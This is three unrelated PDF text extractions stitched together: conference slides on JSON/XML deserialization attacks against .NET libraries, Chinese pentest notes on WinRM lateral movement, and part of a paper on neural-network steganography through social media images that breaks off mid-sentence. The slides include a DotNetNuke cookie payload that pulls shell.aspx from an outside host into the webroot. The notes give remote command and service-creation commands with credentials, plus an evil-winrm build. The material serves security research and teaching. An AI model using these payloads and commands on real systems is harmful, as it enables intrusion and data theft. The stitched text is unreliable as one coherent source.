JSON.Deserialize<User>(untrusted); JSON.Deserialize(untrusted, typeof(User)); { "$type": "Newtonsoft.Json.Samples.Stockholder, Newtonsoft.Json.Tests", "FullName": "Steve Stockholder", "Businesses": { "$type": "System.Collections.Generic.List`1[[Newtonsoft.Json.Samples.Business, Newtonsoft.Json.Tests]], mscorlib", "$values": [ { "$type": "Newtonsoft.Json.Samples.Hotel, Newtonsoft.Json.Tests", "Stars": 4, "Name": "Hudson Hotel” }]}} Different scenarios • Inspection of expected type’s object graph to determine nested types • Check assignability from provided type and/or whitelist creation • Vulnerable if • Expected type is user-controllable • Attacker can find injection member in object graph Name : String Items : Dict<String, Object> Message : Message Body : Object Exc: Exception User Message Data : IDictionary Message : String Source: String StackTrace: String InnerException: Exception … Exception … Value : Object ValidationException Name : String Items : Dict<String, Object> Message : Message Props : Hashtable IUser Summary Name Languag e Type Discriminator Type Control Vector FastJSON .NET Default Cast Setter Json.Net .NET Configuration Expected Object Graph Inspection Setter Deser. callbacks FSPickler .NET Default Expected Object Graph Inspection Setter Deser. callbacks Sweet.Jayson .NET Default Cast Setter JavascriptSerializer .NET Configuration Cast Setter DataContractJsonSeriali zer .NET Default Expected Object Graph Inspection Setter Deser. callbacks Jackson Java Configuration Expected Object Graph Inspection Setter Genson Java Configuration Expected Object Graph Inspection Setter JSON-IO Java Default Cast toString FlexSON Java Default Cast Setter GSON Java Configuration Expected Object Graph Inspection - FastJson • Always includes Type discriminators • There is no Type check controls other than a post-deserialization cast • Invokes • Setter • Should never be used with untrusted data • Example: • KalikoCMS • CVE-2017-10712 Var obj = (ExpectedType) JSON.ToObject(untrusted); JavaScriptSerializer • System.Web.Script.Serialization.JavaScriptSerializer • By default, it will not include type discriminator information which makes it a secure serializer. • Type Resolver can be configured to include this information. • Weak Type control: post-deserialization cast operation • During deserialization, it will call: • Setters • It can be used securely as long as a type resolver is not used or the type resolver is configured to whitelist valid types. JavaScriptSerializer sr = new JavaScriptSerializer(new SimpleTypeResolver()); string reqdInfo = apiService.authenticateRequest(); reqdDetails det = (reqdDetails)(sr.Deserialize<reqdDetails>(reqdInfo)); DataContractJsonSerializer • System.Runtime.Serialization.Json.DataContractJsonSerializer • Performs a strict type graph inspection and prevent deserialization of certain types. • However, we found that if the attacker can control the expected type used to configure the deserializer, they will be able to gain code execution. • Invokes: • Setters • Serialization Constructors • Can be used securely as long as the expected type cannot be controlled by users. var typename = cookie["typename"]; … var serializer = new DataContractJsonSerializer(Type.GetType(typename)); var obj = serializer.ReadObject(ms); Json.Net • Secure by default unless TypeNameHandling other than None setting is used • Even if TypeNameHandling is enabled, attackers still need to find entry point in object graph • Invokes: • Setters • Serialization callbacks • Type Converters • Use SerializationBinder to whitelist Types if TypeNameHandling is required public class Message { [JsonProperty(TypeNameHandling = TypeNameHandling.All)] public object Body { get; set; } } Demo 1: Breeze (CVE-2017-9424) Fixed in Breeze 1.6.5 onwards Serializer Settings http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/com/sun/rowset/JdbcRowSetImpl.java/ Unsafe Deserialization & Entrypoint https://github.com/Breeze/breeze.server.net/blob/master/AspNet/Breeze.ContextProvider/ContextProvider.cs Video Similar Research • Java Unmarshaller Security • Author: Moritz Bechler • Parallel research published on May 22, after our research was accepted for BlackHat and abstract was published ☺. • Focus exclusively on Java • Overlaps with our research on: • Jackson and JSON-IO libraries • JdbcRowSetImpl.setAutoCommit gadget • Include other interesting gadgets • https://github.com/mbechler/marshalsec .NET Formatters Introduction • Attacks on .NET formatters are not new • James Forshaw already introduced them at BlackHat 2012 for • BinaryFormatter • NetDataContractSerializer • Lack of RCE gadget until recently • Goals: • Raise awareness about perils of .NET deserialization • Present new vulnerable formatters scenarios • Present new gadgets • Need new gadgets that works with Formatters other than BinaryFormatter PSObject Gadget • Bridges to custom deserializer https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/PSObject.cs PSObject Gadget https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/InternalDeserializer.cs … … LanguagePrimitives.FigureConversion() allows to: • Call the constructor of any public Type with one argument (attacker controlled) • Call any setters of public properties for the attacker controlled type • Call the static public Parse(string) method of the attacker controlled type. https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/LanguagePrimitives.cs PSObject Gadget System.Windows.Markup.XamlReader.Parse() -> Process.Start(“calc.exe”) https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/LanguagePrimitives.cs … PSObject Gadget .NET Native Formatters I • System.Runtime.Serialization.Formatters.Soap.SoapFormatter • Serializes objects to and from SOAP XML format. • Similar to BinaryFormatter in a number of things; • They both implements IFormatter interface and serialize only Serializable annotated types. • Both use surrogates to handle custom serialization and binders to control the type loading. • Both will invoke similar methods upon deserialization which include: • setters, Iserializable constructor, OnDeserialized annotated methods and OnDeserialization callback. • System.Web.Script.Serialization.JavaScriptSerializer • Covered in JSON section .NET Native Formatters II • System.Web.UI.ObjectStateFormatter • Used by LosFormatteras a binary formatter for persisting the view state for Web Forms pages. It uses BinaryFormatterinternally and therefore offers similar attack surface. • Uses TypeConverters • System.Messaging.XmlMessageFormatter • It is the default formatter used by MSMQ. It uses XmlSerializerinternally and therefore it is vulnerable to same attack patterns. • System.Messaging.BinaryMessageFormatter • Used by MSMQ as a binary formatter for sending messages to queues. It uses BinaryFormatter internally and therefore offers similar attack surface. .NET Native Formatters III • System.Runtime.Serialization.DataContractSerializer • It inspects the object graph of the expected type and limits the deserialization to only those types known at construction time (either in the object graph or supplied with KnownTypes list parameter). • Suitable to handle untrusted data unless any of the following scenarios apply: • Using a weak type resolver • Using user controlled expected type • Will invoke multiple methods which can be used to initiate a RCE gadget chain such as setters and serialization constructors. • System.Runtime.Serialization.Json.DataContractJsonSerializer • Covered in JSON section • Very similar to DataContractSerializer • No type resolvers can be used Type objType = Type.GetType(message.Label.Split('|')[1], true, true); DataContractSerializer serializer = new DataContractSerializer(objType); serializer.ReadObject(message.BodyStream); .NET Native Formatters IV • System.Xml.Serialization.XmlSerializer • Will inspect the expected type at construction time and create an ad-hoc serializer that will only know about those types appearing in the object graph. • Prevents deserialization of interface members. • Only vulnerable configuration for this deserializer is when attacker can control the expected type. • From an attacker perspective, overcoming the type limitation can be a problem, but we will show later that this can be done with some tricks. var typename = cookie["typename"]; … var typeName = xmlItem.GetAttribute("type"); var xser = new XmlSerializer(Type.GetType(typeName)); Demo 2: NancyFX (CVE-2017-9785) Fixed in version 1.4.4 / 2.0-dangermouse onwards NCSRF Cookie • CSRF cookie • Latest stable version used a BinaryFormatter serialized cookie (1.x) • AAEAAAD/////AQAAAAAAAAAMAgAAAD1OYW5jeSwgVmVyc2lvbj0wLjEwLjAuMCwgQ3VsdHVyZT1uZX V0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsBQEAAAAYTmFuY3kuU2VjdXJpdHkuQ3NyZlRva2VuAwAA ABw8UmFuZG9tQnl0ZXM+a19fQmFja2luZ0ZpZWxkHDxDcmVhdGVkRGF0ZT5rX19CYWNraW5nRmllbG QVPEhtYWM+a19fQmFja2luZ0ZpZWxkBwAHAg0CAgAAAAkDAAAAspLEeOrO0IgJBAAAAA8DAAAACgAA AAJ9FN3bma5ztsdODwQAAAAgAAAAAt9dloO6qU2iUAuPUAtsq+Ud0w5Qu1py8YhoCn5hv+PJCwAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= • Pre-released 2.x used a custom JSON parser to make it compatible with .NET Core first versions • {"RandomBytes":[60,142,24,76,245,9,202,183,56,252],"CreatedDate":"2017-04- 03T10:42:16.7481461Z","Hmac":[3,17,70,188,166,30,66,0,63,186,44,213,201,164,3, 19,56,139,78,159,170,193,192,183,242,187,170,221,140,46,24,197],"TypeObject":" Nancy.Security.CsrfToken, Nancy, Version=2.0.0.0, Culture=neutral, PublicKeyToken=null”} • Pre-auth RCE in both versions Video Generalizing the Attacks Attacking all the deserializers • When dealing with object unmarshaling, objects will need to be created and populated which normally mean calling setters or deserialization constructors. • Requirements • Attacker can control type to be instantiated upon deserialization • Methods are called on the reconstructed objects • Gadget space is big enough to find types we can chain to get RCE • We can use the presented gadgets to attack these formats Examples • FsPickler (xml/binary) • A fast, multi-format messaging serializer for .NET • Includes arbitrary Type discriminators • Invokes setters and ISerializableconstructor and callbacks • Object Graph Inspection • SharpSerializer • XML and binary serialization for .NET and Silverlight • Includes arbitrary Type discriminators • Invokes setters • No type control other than post-deserialization cast • Wire/Hyperion • A high performance polymorphic serializer for the .NET framework used by Akka.NET • JSON.NET with TypeNameHandling = All or custom binary one • Includes Type discriminators and invokes setters and ISerializable constructor and callbacks Beware of rolling your own format • NancyFX • Custom JSON parser replacing BinaryFormatter (Pre-released 2.x ) to make it compatible with .NET Core first versions • DotNetNuke CMS (DNN Platform) • Wraps XmlSerializeraround a custom XML format which includes the type to be used to create the XmlSerializer • This deserves a slide on its own ☺ {"RandomBytes":[60,142,24,76,245,9,202,183,56,252],"CreatedDate": "2017-04- 03T10:42:16.7481461Z","Hmac":[3,17,70,188,166,30,66,0,63,186,44,2 13,201,164,3,19,56,139,78,159,170,193,192,183,242,187,170,221,140 ,46,24,197],"TypeObject":"Nancy.Security.CsrfToken, Nancy, Version=2.0.0.0, Culture=neutral, PublicKeyToken=null”} Overcoming XmlSerializer constraints • Types with interface members cannot be serialized • System.Windows.Data.ObjectDataProvider is XmlSerializerfriendly ☺ • System.Diagnostic.Processhas Interface members … use any other Type! • XamlReader.Load(String) -> RCE • ObjectStateFormatter.Deserialize(String) -> RCE • DotNetNuke.Common.Utilities.FileSystemUtils.PullFile(String) -> WebShell • DotNetNuke.Common.Utilities.FileSystemUtils.WriteFile(String) -> Read files • Runtime Types needs to be known at serializer construction time • ObjectDataProvidercontains an Object member (unknown runtime Type) • Use a parametrized Type to “teach” XmlSerializer about runtime types. Eg: System.Data.Services.Internal.ExpandedWrapper`2[ [PUT_RUNTIME_TYPE_1_HERE],[PUT_RUNTIME_TYPE_2_HERE] ], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 Demo 3: DotNetNuke (CVE-2017-9822) Fixed in DNN Platform 9.1.1 or EVOQ 9.1.1 onwards Source https://github.com/dnnsoftware/Dnn.Platform/blob/a142594a0c18a589cb5fb913a022eebe34549a8f/DNN%20Platform/Library/Services/Personalization/PersonalizationController.cs#L72 Sink https://github.com/dnnsoftware/Dnn.Platform/blob/a142594a0c18a589cb5fb913a022eebe34549a8f/DNN%20Platform/Library/Common/Utilities/XmlUtils.cs#L201 Video DNNPersonalization Regular Cookie <profile> <item key="85:AllCreditors" type="System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <boolean>false</boolean> </item> </profile> DNNPersonalization Payload Cookie <profile> <item key="name1:key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Win dows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <ExpandedWrapperOfFileSystemUtilsObjectDataProvider> <ExpandedElement/> <ProjectedProperty0> <MethodName>PullFile</MethodName> <MethodParameters> <anyType xsi:type="xsd:string">http://ctf.pwntester.com/shell.aspx</anyType> <anyType xsi:type="xsd:string">C:\inetpub\wwwroot\dotnetnuke\shell.aspx</anyType> </MethodParameters> <ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance> </ProjectedProperty0> </ExpandedWrapperOfFileSystemUtilsObjectDataProvider> </item> </profile> Wrap-Up Main Takeaways • Do not deserialize untrusted data! • … no, seriously, do not deserialize untrusted data! • … ok, if you really need to: • Make sure to evaluate the security of the chosen library • Avoid libraries without strict Type control • Type discriminators are necessary but not sufficient condition • Never use user-controlled data to define the deserializer expected Type • Do not roll your own format Thank you! Alvaro Muñoz (@pwntester) & Oleksandr Mirosh
pdf
T1028: WinRM for Lateral Movement 参考: 内网横移之WinRM Powershell Remoting Lateral Movement – WinRM WinRM(Windows Remote Management是WS-Management Protocol Microsoft 实现(具体体现为 Win RM 服务)。 这个协议有没有其他的实现?有,比如 openwsman,也就说在在linux也可以通过该协议管理 Windows(跨平台)。 Ansible 通过该协议进行远程管理Windows 配置和必要信息 参考:Installation and Configuration for Windows Remote Management WinRM 服务在Windows Server 2008 上,为自动启动,Windows Vista上,必须手动启动。 默认情况下,未配置WinRM listener,即使服务在运行,也无法接受或发送请求的WS- Management 协议 数据 防火墙阻止访问 快速配置 WinRM Server 该命令执行了以下操作: 启动WinRM服务,启动类型设置为自动启动 配置HTTPS或HTTPS的发送和接收WS-Management 协议的 listener (所有地址都监听) Windows 防火墙生成放行两个端口,并打开HTTP和HTTPS端口 默认 HTTP 端口 5985,默认的HTTPS端口是5986 winrm e winrm/config/listener #查找侦听器 winrm get winrm/config #检查配置状态 Winrm quickconfig #启用默认设置 #管理员权限 修改配置中 Client 的 TrustedHosts : 可以看到WinRM服务支持多种认证: Basic、Digest 、Kerberos、 Negotiate、Certificate、 CredSSP。 配置中还有一些有意思的地方,例如: RootSDDL 指定控制远程访问 listener 的默认安全描述符, AllowRemoteShellAccess 远程shell的访问,如果false,则服务器拒绝shell的访问 组策略 在域环境中可下发组策略(本地组策略也可以修改相关设置)批量部署WinRM服务: winrm set winrm/config/client '@{TrustedHosts="*"}' #powershell下@字符回引起错误, 使用引号包围 winrm set winrm/config/client @{TrustedHosts="*"} #cmd #这里信任任意主机,实践中请使用确切的列表以保证安全性 #注:需clinet和server都配置该选项 对应注册表选项不过多介绍 重要的组件 非完整列表,具体请参考About Windows Remote Management WinRM.cmd Winrs.exe winrm.vbs #常用的一些命令 winrm delete winrm/config/listener?address=*+transport=HTTP #删除 listener winrm  id -r:OWA2010SP3 -auth:kerberos -u:[email protected] -p:Admin!@#45 winrm get winrm/config -r:OWA2010SP3 -auth:kerberos -u:[email protected] - p:Admin!@#45 cscript  %windir%\System32\winrm.vbs #和上面一样的使用方法,这种cmd下适用 cscript  C:\Windows\System32\winrm.vbs  #如果系统在C盘是这样 #验证通过可远程修改winRM配置 winrs -r:OWA2010SP3 -u:[email protected] -p:Admin!@#45 ipconfig winrm invoke Create wmicimv2/win32_process '@{CommandLine="calc.exe"}' - r:http://192.168.3.142:5985 -u:[email protected] -p:Admin!@#45 #开启进程 winrm invoke Create wmicimv2/Win32_Service '@{Name="test";DisplayName="test";PathName="cmd.exe /k c:\windows\system32\calc.exe"}' -r:http://192.168.3.142:5985 - u:[email protected] -p:Admin!@#45 #新建服务 搜索发现一个比较好用得技巧,powershell环境中变量得解析方式、使用方式和cmd不一样: 获取当前环境得所有变量: Get-ChildItem env: or ls env: 使用变量: $env:windir 前面的WinRM.vbs,在powersehll中使用的的命令就是这样: cscript.exe $env:windir\System32\winrm.vbs 注意,这里笔者使用的是主机名,直接使用ip,使用ip也可 或者返回一个交互式的shell: 这里其实使用的是Kerberos验证,可以进行黄金票据和白银票据。 winrm invoke StartService wmicimv2/Win32_Service?Name=test  - r:http://192.168.3.142:5985 -u:[email protected] -p:Admin!@#45 #运行服务 其中HTTP 的票据就是winrm的服务票据 PowerShell Remoting 参考:Running Remote Commands Powershell Remoting有两种方式: SSH WSMAN SSH暂且不谈,这里的Wsman就是前面所说的 WS-Management Protocol,也就是WinRM服务。 注:我当前身份是一个本地用户 能不能静默运行?可以。 New-PSSession -ComputerName OWA2010SP3 -Credentia 0day\Administrator Enter-PSSession id $Username ="0day\Administrator"   $Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force $Credential = New-Object System.Management.Automation.PSCredential $Username,$Password $Session = New-PSSession -computerName OWA2010SP3 -Credential $Credential or Enter-PSSession  -computerName OWA2010SP3 -Credential $Credential or Invoke-Command -Session $Session {Command} #这个命令也经常用 Invoke-Command -ComputerName OWA2010SP3 -Credential $Credential -ScriptBlock { Command } #computername 可接受多个参数,即可同时在多个目标上远程执行。 #在新版kali中是由pwsh的,理论上上述命令在pwsh同样适用,但是笔者测试时遇到错误,暂未找到原因。 Observations 在 OWA2010SP3 上可以看到父进程是 wsmprovhost : Kibana中搜索 calc* : 该日志来源于事件查看器中的sysmon: 为了便于观察命令执行过程中产生的日志,建议先清除日志: 查看客户端安全日志: 位置: %SystemRoot%\System32\Winevt\Logs\Security.evtx 记得开启-组策略-本地策略-审核策略,开启其中的全部设置。 注意有3次Logon 4648事件 可以注意到4648事件(使用显示凭据登录产生该事件),显示了启动的进程、连接的主机名和使用的账 户。 查看WinRM的服务日志: 位置: %SystemRoot%\System32\Winevt\Logs\Microsoft-Windows- WinRM%4Operational.evtx 其中的一部分日志显示创建了一个shell: 在 OWA2010SP3 上查看日志: 注意到Kerberos相关验证,重点关注的几个事件:登录事件、特殊登录、注销事件 4624登录事件出现4次,4672 特殊登录事件出现4次,4634注销事件出现了1次 其中登录事件和特殊登录事件中有3次是 0day\administrator 登录, 另外一次是名为 OWA2010SP3$ 的登录和注销 其他的一些命令 evil-winrm 发现@0x0c提到的evil-winrm,目前作者还在维护,这里分享下使用的过程。 笔者修改了其中的DockerFile: Enable-PSRemoting -force #启用PsRemoting 等同于winrm quickconfig Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force #设置TrustedHosts 列表 Test-NetConnection <IP> -CommonTCPPort WINRM #测试目标 Listener 是否打开 Test-WsMan {hostname|ip} #和上一个命令类似 Get-Item WSMan:\localhost\Client\TrustedHosts #获取TrustedHosts的值 Invoke-Command <host> -Credential $cred -ScriptBlock {Hostname} #在远程主机上执行命 令 Enter-PSSession <host> -Credential <domain>\<user> #生成一个交互式的的powersehll Enter-PSSession <host> -Authentication Kerberos #指定认证方式为 kerberos Copy-Item -Path C:\Temp\PowerView.ps1 -Destination C:\Temp\ -ToSession (Get- PSSession) #上传文件到目标 Copy-Item -Path C:\Users\Administrator\Desktop\test.txt -Destination C:\Temp\ - FromSession (Get-PSSession) #从session中下载文件 Get-Service WinRM #检查WinRM服务,默认windows server 2008 自动启动,windows vitsa 需 要手动启动。 Restart-Service WinRM #重启WinRM 服务 git clone https://github.com/Hackplayers/evil-winrm.git cd evil-winrm FROM ruby:alpine # Credits & Data LABEL \   name="Evil-WinRM" \   author="CyberVaca <[email protected]>" \   maintainer="OscarAkaElvis <[email protected]>" \   description="The ultimate WinRM shell for hacking/pentesting" # Install dependencies 使用的效果如下图: RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g' /etc/apk/repositories && apk update && apk add --no-cache build-base RUN bundle config mirror.https://rubygems.org https://gems.ruby-china.com RUN gem install winrm winrm-fs stringio #主要修改了上面这一部分 # Create volume for powershell scripts RUN mkdir /ps1_scripts VOLUME /ps1_scripts # Create volume for executable files RUN mkdir /exe_files VOLUME /exe_files # Create volume for data (upload/download) RUN mkdir /data VOLUME /data # Set workdir WORKDIR /opt/ # Install Evil-WinRM RUN mkdir evil-winrm COPY . /opt/evil-winrm # Make script file executable RUN chmod +x evil-winrm/*.rb # Clean and remove useless files RUN rm -rf /opt/evil-winrm/resources > /dev/null 2>&1 && \   rm -rf /opt/evil-winrm/.github > /dev/null 2>&1 && \   rm -rf /opt/evil-winrm/CONTRIBUTING.md > /dev/null 2>&1 && \   rm -rf /opt/evil-winrm/CODE_OF_CONDUCT.md > /dev/null 2>&1 && \   rm -rf /opt/evil-winrm/Dockerfile > /dev/null 2>&1 && \   rm -rf /opt/evil-winrm/Gemfile* > /dev/null 2>&1 && \   rm -rf /tmp/* > /dev/null 2>&1 # Start command (launching Evil-WinRM) ENTRYPOINT ["/opt/evil-winrm/evil-winrm.rb"] docker build -t evil-winrm . 不一定要使用明文密码,注意-H 参数,使用NT hash 也可以登录 参考 A look under the hood at Powershell Remoting through a cross plaform lenshttp://www.hurryupandwait.io/blog/a-look-under-the-hood-at-powershell-remoting-through- a-ruby-cross-plaform-lens /June Windows Remote Management PowerShell 远程执行任务 一条命令实现端口复用后门 WinRM 结合HTTP.sys驱动实现端口复用
pdf
A Picture is Worth a Thousand Words, Literally: Deep Neural Networks for Social Stego Philip Tully and Michael T. Raggo Abstract and Introduction Images, videos and other digital media provide a convenient and expressive way to communicate through social networks. But such broadcastable and information-rich content provides ample illicit opportunity as well. Web-prevalent image files like JPEGs can be disguised with foreign data since they’re perceivably robust to minor pixel and metadata alterations. Slipping a covert message into one of the billions of daily posted images may be possible, but to what extent can steganography be systematically automated and scaled? To explore this, we first report the distorting side effects rendered upon images uploaded to popular social network servers, e.g. compression, resizing, format conversion, and metadata stripping. Then, we build a convolutional neural network that learns to reverse engineer these transformations by optimizing hidden data throughput capacity. Pre-uploaded and downloaded image files teach the network to locate candidate pixels that are least modifiable during transit, allowing stored hidden payloads to be reliably recalled from newly presented images. Deep learning typically requires tons of training data to avoid overfitting. But data acquisition is trivial using social networks’ free image hosting services, which feature bulk uploads and downloads of thousands of images at a time per album. We show that hidden data can be predictably transmitted through social network images with high fidelity. Our results demonstrate that AI can hide data in plain sight, at large-scale, beyond human visual discernment, and despite third-party manipulation. Steganalysis and other defensive forensic countermeasures are notoriously difficult, and our exfiltration techniques highlight the growing threat posed by automated, AI-powered red teaming. Contents Abstract and Introduction 1 The Evolution of Steganography DIY Social Steganography Deep Neural Networks for Social Stego Conclusion References 2 3 4 5 6 The Evolution of Covert Communications Steganography has been practiced for millennia. Ancient Chinese dynastic cultures hid military secrets as early as 525 BC by covering message-imbued silk in wax and rolling it into a ball. German spies used photographically produced microdots to steal uranium design information, production statistics, and building schematics during World War II. The first documented digital steganography occurred in 1985 when employees of a small company communicated over restrictive channels using their newly minted personal computers. Whether it’s intended for tactical battlefield advantage, international espionage, or advanced persistent cyber attacks, steganography transcends due to its fundamentally covert design. Its goals remain the same across technologies and use cases. As the processing power, network bandwidth, storage capability, file format heterogeneity and mobility of computing devices continue to grow, steganography will live on and continue to frustrate forensic investigators [1]. These days, social networks make for particularly attractive steganography conduits because they: - provide public access to massive, prioritizable lists of targets and recipients, - are highly trafficked, making it hard to distinguish malicious signal from noise, - include convenient broadcasting syntax mechanisms like #hashtags, - feature both manual and programmatic search capability, - possess an undeserved reputation for trust and safety, - lack the precedent for security-mindful engagement that older channels like email enjoy, - exist outside traditional perimeter and endpoint security, - are culturally ingrained, meaning blocking employee access is often unviable, - provide free image hosting services, and - allow users to resize or crop uploaded photos using backend software like ImageMagick, which makes web servers vulnerable to malicious steganographic code execution (i.e. ImageTragick, CVE-2016-3714) [2]. What about stego-based social media attacks taking place in the wild? Evidence abounds. Encrypted callback URLs posted to Twitter can connect to C&C servers and install malicious GIF-embedded payloads [3]. HAMMERTOSS scanned tweets for hashtags and images, which were subsequently decoded to execute C&C instructions [4]. A malicious plugin can similarly search Google+ for PNG files with encrypted C&C configurations [5]. CryLocker ransomware compiled victims’ information into fake PNGs and uploaded them to Imgur, which broadcasted them to C&C IP addresses to alert operators of fresh infections [6]. Whitehat-inspired social stego research has also been carried out. SneakyCreeper demonstrated that Twitter, Tumblr, and SoundCloud were susceptible to base64-encoding messages into audio and image files [7], a proof of concept C&C trojan used a steganographic decoder to execute code hidden within Instagram images [8], and MP3 ID3v2 metadata manipulation was shown to circumvent media sharing services [9]. The techniques presented in this work seek to generalize some of these previous approaches, and in the same vein, raise awareness about steganography-based attacks on social networks. DIY Data Exfiltration Despite the aforementioned risks, there is a general belief that steganography doesn’t justify defense. We analyze the nuances of uploaded image distortion across popular social networks in order to enumerate the level of sophistication being incorporated against steganography-based attacks. One method is to use the designated landmarks of an image file, like its metadata and end-of-file (EOF) markers, to deposit the payload. Metadata fields such as Exchangeable image file (Exif), International Press Telecommunications Council (IPTC) and Extensible Metadata Platform (XMP) formatted sectioned off text areas are usually reserved for technical information and photo capture statistics. The EOF marker occurs after the last byte of the file and indicates to image reading programs how much storage space to allocate in advance. Hidden data can be appended beyond the EOF marker, since many programs may ignore anything placed afterwards. Fig 1​: Schematic of the workflow carried out during exploratory analysis. A Lenna cover image file is injected with foreign data according to the techniques outlined by its corresponding bytemap on the left. It is then 1. uploaded to a social network, 2. subsequently downloaded, and 3. programmatically compared to the pre-uploaded version to ascertain what operations are performed on the image by each social network platform. In terms of image pixel data, digital steganography techniques can be categorized into two separate domains: spatial and frequency. Spatial domain steganography involves directly manipulating pixel intensities, whereas frequency domain steganography manipulates the orthogonal transform of the image. Generally, the spatial domain is less robust but has a higher storage capacity than the frequency domain. We conduct an exploratory analysis by uploading images with Least Significant Bit (LSB), Red Green Blue-based (RGB), and Pixel Value Difference (PVD) spatial domain steganography, and Discrete Cosine Transform (DCT) and Spread Spectrum frequency domain steganography. We test each of these techniques across 14 different social networks: Facebook, Twitter, Instagram, Pinterest, LinkedIn, Google+, Tumblr, Flickr, Imgur, VK, Sina Weibo, YouTube, Slack, and Reddit. Each network can have different fields suitable for image upload, for example on Facebook the profile picture versus the cover photo. For all of 14 networks, we test every uploadable field across all supported image types (eg. JPEG, PNG, BMP, GIF, etc). We also test images with different dimensions and file sizes, and try reuploading previously uploaded images to test to see whether social networks leave recognizable traces that would allow images to bypass certain upload processing steps in the future. We then present a chart of commonalities and variations in steganographic efficacy measured across the comprehensive social landscape. We report the distortions that each social network renders on images uploaded to their servers, including image resizing, format conversion, metadata stripping, and compression. Compression is often leveraged in order to dynamically render large images at smaller sizes to keep bandwidth-throttled social network users happy. It can be either lossy or lossless,​ ​where lossy compression increases the likelihood of payload clobbering because excess image data is not preserved. A Chrome extension called SecretBook [10] managed to minimize payload clobbering when images were uploaded to Facebook by reverse engineering the social network’s lossy compression algorithm. It then applied similar processing steps to pre-compressed images prior to Facebook upload and demonstrated robust social steganography for payloads up to 140 characters in length. For social networks that were found to compress and distort uploaded images, we sought to develop a generalizable, data-driven way of similarly performing steganography. Deep Neural Networks for Social Stego The rise of data emitted by mobile phones, social networks, IoT devices, cameras and software logs has inspired new AI applications to information security. Such available data, together with open source deep learning software libraries and cloud computing resources have conspired to make AI more accessible. ConvNets are powerful algorithms that’ve been shown to generalize across many computer vision tasks like object classification, facial recognition and video analysis. They comprise multiple feedforward layers of neurons that nonlinearly extract features from input data. Each convolutional layer has an associated parameter set and can learn filters that activate when certain spatial locations are detected within their inputs. Its weights are optimized through back propagation. We build a ConvNet that learns to reverse engineer image upload manipulations by locating optimal pixel coordinates for embedding a hidden payload. We pose the problem as a regression task that uses a generic ConvNet architecture with several stacked layers of convolutions fed through rectified linear units (ReLUs) and a final smooth L1 loss regression layer. The input to the ConvNet is the set of pixels from pre-uploaded images, and the output of the final layer is the set of candidate pixels that are the least-likely-to-be-clobbered while transiting through the social network. In other words, the output of the ConvNet represents spatial locations that conceal the largest hidden payloads with minimal deformation. Deep neural networks require massive amounts of training data in order to avoid overfitting. Luckily, in competition to expand their user bases, social networks typically provide free and user-friendly functionality to bulk upload and download images off the shelf. The more content shared, the greater the opportunity to profit. Furthermore, their image upload APIs tend to be permissive in order to incentivize developers to build apps that post photos or manage photos and albums. In many cases, this simplifies the problem of acquiring training data even further by enabling programmatic uploads and downloads. When fed tens of thousands of training images, the trained ConvNet can predict with high fidelity which pixel locations are ideal for storing hidden payloads. We demonstrate how learned locations typically correspond to the more complex and “busier” regions of an image. For example, in a photo with horses galloping in a field, horses are better payload location targets than the more uniform grass and sky in the background. The ConvNet is built with Google’s TensorFlow, which is an open source software library that conveniently exposes all functions and classes necessary for our purposes through it’s API. To evaluate the ConvNet, we consider two separate metrics: minimal visual dissimilarity between the pre-uploaded and downloaded image in terms of peak signal to noise ratio, and maximal payload capacity in terms of byte survivability. We show that our techniques allow for more robust and less detectable transmission of payloads. We attribute our results to the unique risks associated with social media and our ability to leverage statistical approaches on huge amounts of image data. Conclusion Steganography is imperceptible to the naked eye by design. Our approach is robust to aftereffects like image filters, since this information is directly available from the downloaded images during training. However, graceful degradation can make it difficult to store syntactically rigid payloads like source code or malware. In these cases, single-character changes can break code compilation or obfuscate fault intolerant payloads. This is especially the case for longer payloads because recovery rates worsen as the size of the hidden data increases. Implementing error-correcting codes, duplicating the payload across images or fragmenting the payload across single or separate images could help address these shortcomings. This work joins a short but growing list of offensive techniques that automate a traditionally manual attack workflow using AI, including micro-targeted social engineering [11], password cracking [12] and captcha subversion [13]. Offensive AI is easier to implement than its defensive counterparts; it can be trained using either unsupervised learning algorithms or supervised ones with cheap-to-label data. This labeling bottleneck will create headaches for blue teamers, who will struggle to keep with the extra money, time and effort taken to generate reliably instructive data samples. Success rates are far more important for the blue team than they are for the red team because of what’s at stake, too. Accelerating AI accessibility will only magnify this problem. With more frequent open-source initiatives and cheapening access to powerful cloud-based computing resources like GPUs, the barrier to entry for applied AI will continue to retreat. Not all hope is lost though. After all, the best defense is a good offense. Adversarial learning and data-driven security are poised to transform modern cyber defenses. The rise of machine hacking will harden industry security by plugging up previously unknown holes, and the sooner this is realized, the better. Our approach excels because user-hungry social networks rely on freemium and ad-based business models, which provide cloud-based services like image hosting off the shelf. It can be extended by incorporating more advanced cryptography to turn the steganographic payload into a cipher for better camouflage. Social media backdoors can be used to exfiltrate sensitive data from within private networks, perform reconnaissance, distribute malware or maintain contact with 